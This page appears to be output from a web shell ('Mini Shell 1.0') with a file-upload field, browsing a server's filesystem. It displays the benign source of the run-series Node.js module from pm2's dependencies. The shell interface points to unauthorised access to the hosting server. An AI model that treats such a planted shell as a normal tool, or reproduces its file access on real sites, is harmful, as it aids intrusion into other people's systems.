HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1780863/root/usr/local/lib/node_modules/pm2/node_modules/run-series/
Upload File :
Current File : //proc/1780863/root/usr/local/lib/node_modules/pm2/node_modules/run-series/index.js
/*! run-series. MIT License. Feross Aboukhadijeh <https://feross.org/opensource> */
module.exports = runSeries

function runSeries (tasks, cb) {
  var current = 0
  var results = []
  var isSync = true

  function done (err) {
    function end () {
      if (cb) cb(err, results)
    }
    if (isSync) process.nextTick(end)
    else end()
  }

  function each (err, result) {
    results.push(result)
    if (++current >= tasks.length || err) done(err)
    else tasks[current](each)
  }

  if (tasks.length > 0) tasks[0](each)
  else done(null)

  isSync = false
}